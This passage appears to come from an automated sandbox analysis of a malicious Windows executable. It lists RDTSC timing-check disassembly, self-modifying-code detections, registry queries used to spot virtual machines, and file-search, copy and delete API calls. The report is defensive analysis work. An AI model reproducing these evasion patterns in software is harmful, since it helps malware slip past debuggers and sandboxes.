Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1432192 second address: 14321A6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F65A4C18F96h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F65A4C18F96h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14321A6 second address: 14321BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Dh 0x00000007 ja 00007F65A4502596h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14321BD second address: 14321C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B677 second address: 143B6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F65A4502596h 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F65A45025A8h 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B6A3 second address: 143B6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B6A9 second address: 143B6B1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AEE1 second address: 137AEE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AEE7 second address: 137AEF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137AEF1 second address: 137AEF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B087 second address: 143B090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B090 second address: 143B0A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F65A4C18F9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B0A0 second address: 143B0A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B0A6 second address: 143B0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F65A4C18FA4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B0C2 second address: 143B0C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143B398 second address: 143B3B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CCDB second address: 143CCE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CCE1 second address: 143CCEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CCEC second address: 143CCF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CCF0 second address: 143CCFC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jng 00007F65A4C18F96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CCFC second address: 143CD0E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F65A4502598h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F65A4502596h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD0E second address: 143CD37 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F65A4C18F96h 0x00000008 jmp 00007F65A4C18F9Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F65A4C18F9Ch 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD37 second address: 143CD6F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F65A4502596h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F65A45025B9h 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD6F second address: 143CD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD75 second address: 143CD7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 143CD7E second address: 143CD82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1449D88 second address: 1449DB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A45025A2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F65A45025A4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14497D6 second address: 14497DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14497DC second address: 14497E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14497E0 second address: 14497EA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F65A4C18F96h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E7D7 second address: 144E7DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E7DB second address: 144E7E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E7E3 second address: 144E7E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E7E9 second address: 144E803 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E803 second address: 144E807 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E807 second address: 144E811 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E811 second address: 144E817 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E817 second address: 144E825 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E825 second address: 144E829 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 144E517 second address: 144E51B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B7EB second address: 145B7F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F65A4502596h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B7F5 second address: 145B7F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B7F9 second address: 145B805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F65A4502596h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 145B805 second address: 145B80D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463CBB second address: 1463CBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463CBF second address: 1463CC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463CC3 second address: 1463D06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F65A45025A9h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F65A45025A9h 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463D06 second address: 1463D0F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463D0F second address: 1463D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463E57 second address: 1463E5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463E5D second address: 1463E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463F95 second address: 1463F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463F9B second address: 1463FA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F65A4502596h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1463FA7 second address: 1463FAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 146420C second address: 1464210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464210 second address: 1464216 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1464376 second address: 1464380 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F65A45025A2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14774FE second address: 1477506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1477506 second address: 147750A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 147739C second address: 14773CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F65A4C18FA3h 0x00000009 jmp 00007F65A4C18FA9h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1478C53 second address: 1478C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1478C57 second address: 1478C5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14726CB second address: 14726EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F65A45025A9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14726EE second address: 1472719 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F65A4C18F9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F65A4C18FA3h 0x00000012 push eax 0x00000013 pop eax 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1485157 second address: 148516E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F65A450259Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1484D87 second address: 1484D91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F65A4C18F96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1484D91 second address: 1484D9B instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F65A4502596h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1484D9B second address: 1484DA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1484DA4 second address: 1484DAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1488282 second address: 14882A9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F65A4C18F96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F65A4C18F96h 0x00000014 jmp 00007F65A4C18FA3h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14882A9 second address: 14882AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14882AD second address: 14882B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14960ED second address: 14960F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14963C6 second address: 14963CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 14963CC second address: 14963D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496693 second address: 1496699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149680D second address: 1496812 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496812 second address: 1496822 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Bh 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496822 second address: 149683D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F65A450259Bh 0x0000000b push edx 0x0000000c pop edx 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496A33 second address: 1496A37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1496A37 second address: 1496A3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149994D second address: 1499951 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1499B8E second address: 1499B92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1499B92 second address: 1499B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149CCFE second address: 149CD08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 149C898 second address: 149C8A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070271 second address: 5070275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070275 second address: 5070279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5070279 second address: 507027F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507027F second address: 50702DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18FA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F65A4C18FA0h 0x0000000f push eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F65A4C18FA1h 0x00000017 add esi, 7ADD41B6h 0x0000001d jmp 00007F65A4C18FA1h 0x00000022 popfd 0x00000023 mov ebx, eax 0x00000025 popad 0x00000026 xchg eax, ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50702DE second address: 50702E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50702E4 second address: 5070303 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A4C18F9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov ebx, 3A2AEC20h 0x00000013 push edx 0x00000014 pop eax 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507040C second address: 507041B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F65A450259Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 507041B second address: 5070420 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 1211CBD instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13B9222 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13B965D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13B7DAF instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 120F606 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 13BE89B instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FC4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00FBDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00FBE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00FC4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00FBED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FB16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FBF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00FBF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FC3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00FC3EA0
